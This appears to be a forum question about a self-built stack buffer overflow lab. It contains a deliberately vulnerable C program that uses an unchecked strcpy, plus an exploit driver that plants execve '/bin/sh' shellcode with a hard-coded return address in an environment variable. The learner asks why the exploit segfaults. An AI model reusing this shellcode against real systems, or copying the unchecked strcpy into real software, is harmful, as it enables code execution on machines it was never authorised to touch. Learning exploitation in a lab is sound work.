title: Buffer Overflow won't work get Seg Fault
body: <p>I try to get a Buffer Overflow to work. I have the following simple vulnerable Program:</p>
  
  <pre><code>int main(int argc, char** argv) {
      char buffer[80];
      strcpy(buffer,argv[1]);
      return 1;
  }
  </code></pre>
  
  <p>With the following Program i want to get a Shell with an Buffer Overflow.</p>
  
  <pre><code>char shellcode[]=
  "\x31\xc0"                     
  "\x50"                        
  "\x68\x6e\x2f\x73\x68"        
  "\x68\x2f\x2f\x62\x69"        
  "\x89\xe3"                     
  "\x99"                         
  "\x52"
  "\x53"                         
  "\x89\xe1"                     
  "\xb0\x0b"                     
  "\xcd\x80";                    
  char retaddr[] = "\xa8\xd5\xff\xff";
  #define NOP 0x90
  int main() {
      char buffer[96];
  
      memset(buffer, NOP, 96);
      memcpy(buffer, "EGG=",4);
      memcpy(buffer+4,shellcode,24);
      memcpy(buffer+88,retaddr,4);
      memcpy(buffer+92, "\x00\x00\x00\x00",4);
      putenv(buffer);
      printf("%p\n", buffer);
      system("/bin/sh");
      return 0;
  }
  </code></pre>
  
  <p>This Program creates an Buffer with the shellcode at Beginning. After the Shellcode are some NOP Instruction and then the value that overrides the Return Address and points to the beginning of the Shellcode. Then it creates an Environment Variable with the buffer and starts a Shell. </p>
  
  <p>If i run that program the shell started and the environment Variable is set. But if i try to run the vulnerable Program with the environment Variable as Parameter i get an segmentation fault. </p>
  
  <p>Here are some Screens with gdb:
  I don't have enough reputation to post images directly so here is the link to an imgur album with the 4 pictures in it.</p>
  
  <p><a href="https://i.stack.imgur.com/SXbe9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/SXbe9.png" alt="enter image description here"></a></p>
  
  <p><a href="https://i.stack.imgur.com/aXjqV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aXjqV.png" alt="enter image description here"></a></p>
  
  <p><a href="https://i.stack.imgur.com/8jYsW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8jYsW.png" alt="enter image description here"></a></p>
  
  <p><a href="https://i.stack.imgur.com/Nnzbn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Nnzbn.png" alt="enter image description here"></a></p>
  
  <p>The first picture shows the Stack before the strcpy happens.</p>
  
  <p>The second one shows argv 1</p>
  
  <p>The third picture shows the stack after the strcpy.</p>
  
  <p>If you can see 0xf7e00497 is the return address. If i disassamble this address the code for the libc function is shown.</p>
  
  <p>In the third picture you see that this address is overridden by the address 0xffffd5a8 witch points to the top of the stack.</p>
  
  <p>In Picture Number 4 you see the segmentation fault if the programm countinous to run.</p>
  
  <p>Can anybody tell my why? Everything seems to be okay?
  I compiled both programmes with the -fno-stack-protector option of gcc.</p>